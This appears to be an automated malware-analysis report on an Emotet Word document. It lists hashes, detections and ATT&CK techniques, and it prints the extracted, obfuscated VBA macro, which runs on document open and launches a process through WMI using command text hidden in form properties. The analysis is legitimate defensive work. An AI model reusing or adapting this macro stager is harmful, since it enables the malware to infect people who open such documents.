Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 06ea16c8f47256c5…

MALICIOUS

Office (OLE)

173.3 KB Created: 2020-07-22 22:02:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 643d22132ec4cafdf2099b3d83c32c4a SHA-1: ac14501df8fed7530b555abbd0d3d9067c2ed308 SHA-256: 06ea16c8f47256c5551752bd00c34d5cb30e9b5ea7daa3434e35ca178ca75c2b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', strongly indicating the Emotet family. Critical heuristics indicate a hidden VBA UserForm acting as a command stager, which is designed to execute code. This mechanism is commonly used to download and execute further malicious payloads, fitting the typical behavior of Emotet droppers.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10220 bytes
SHA-256: d8519665537e262ec2c1c07c218a535a9f26a29d1774cf006c82188fa427f5a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "fejmuukfioxtoh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
naihnusveirzaoc
End Sub


Attribute VB_Name = "muathaij"
Attribute VB_Base = "0{14D15617-5E56-4D2D-A9CA-2968F9188271}{DB58171F-B9D2-437F-9F50-EA535100E2CE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "neichpairchuad"
Function naihnusveirzaoc()
nuumdoechfaor = Chr(muathaij.Zoom + Int(5 * 3))
Dim c7ÓATOQe2Ëj As Integer
c7ÓATOQe2Ëj = 6
Do While c7ÓATOQe2Ëj < 6 + 2
c7ÓATOQe2Ëj = c7ÓATOQe2Ëj + 5: DoEvents
Loop
cholmoegnaoch = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + nuumdoechfaor + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + muathaij.yeimsuurbiecteich + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"
Dim t0Á7ÖVhC As String
t0Á7ÖVhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf")
zeelgeibquoeh = faoyjauslaot(cholmoegnaoch)
Dim aboKTWBmOV As Variant
Set bosxebfaigbuqu = CreateObject(zeelgeibquoeh)
Dim Li2ÚJ8âfUTJJ As Boolean
zoatseormeos = muathaij.xiequlofgoej.ControlTipText
Dim Wmuaj As String
Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6Ý")
duurwiadguujcaek = zeelgeibquoeh + nuumdoechfaor + muathaij.jeodthebpeodbeat.ControlTipText + zoatseormeos
Dim lgiLh7Ë As Object
tuawzeozcaus = duurwiadguujcaek + muathaij.yeimsuurbiecteich
Dim FZV4ÇKPQ As Integer
FZV4ÇKPQ = 4
Do While FZV4ÇKPQ < 4 + 5
FZV4ÇKPQ = FZV4ÇKPQ + 3: DoEvents
Loop
Set luatbeojchaeg = doazfeechpeebneath(tuawzeozcaus)
Dim kRpYwyW As String
kRpYwyW = Replace$("f4åL5åJqZNvlk", "f4åL5åJ", "TFRkfTygd")
xve = Array _
("1234444123", bosxebfaigbuqu. _
Create(poitceejviac, reuknad, luatbeojchaeg), "9938723")
Dim C0ÄjVh As Integer
C0ÄjVh = 9
Do While C0ÄjVh < 9 + 1
C0ÄjVh = C0ÄjVh + 1: DoEvents
Loop
End Function
Function faoyjauslaot(tensearmuakthew)
tuuchdaquxouk = tensearmuakthew
Dim QSuRcu As Currency
poajcheagviachroil = Split(tuuchdaquxouk, "2342772g3&*gs7712ffvs626fq")
Dim J1Â8ÀXwEwAd As String
J1Â8ÀXwEwAd = Replace$("UBZIWrn7ÆJAPVmt", "UBZI", "hsvq")
bioqutheipdiocqueas = csqw + Join(poajcheagviachroil, eihnx)
Dim gBv As Object
faoyjauslaot = bioqutheipdiocqueas
Dim lqsqsHrCH As Boolean
End Function
Function poitceejviac()
sjiqw = muathaij.quiefluazxadmeef.Pages(10 / 10).ControlTipText
Dim ISXQDR As Integer
ISXQDR = 2
Do While ISXQDR < 2 + 7
ISXQDR = ISXQDR + 9: DoEvents
Loop
poitceejviac = faoyjauslaot(sjiqw)
Dim kbqvO4Ä7Çr As Byte
End Function
Function doazfeechpeebneath(heulzeazbiequ)
Set doazfeechpeebneath = CreateObject(heulzeazbiequ)
Dim vPu As String
vPu = Replace$("BenqV1áigVwifwdQq", "BenqV1ái", "on5Â")
doazfeechpeebneath _
. _
showwindow = (raqusuh + leuququotwaoth) + (sauthkoojthoav + peefsoal)
Dim osWIUnikOk As String
osWIUnikOk = Replace$("cLwhWVLMDSQFh3ÔT7É", "cLwhWVLMDS", "AvYXNNS")
End Function


' Processing file: /opt/analyzer/scan_staging/89bfbe849aeb4590b5173c240715d902.bin
' ===============================================================================
' Module streams:
' Macros/VBA/fejmuukfioxtoh - 1367 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub fejmuukfioxtoh())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
'
... (truncated)

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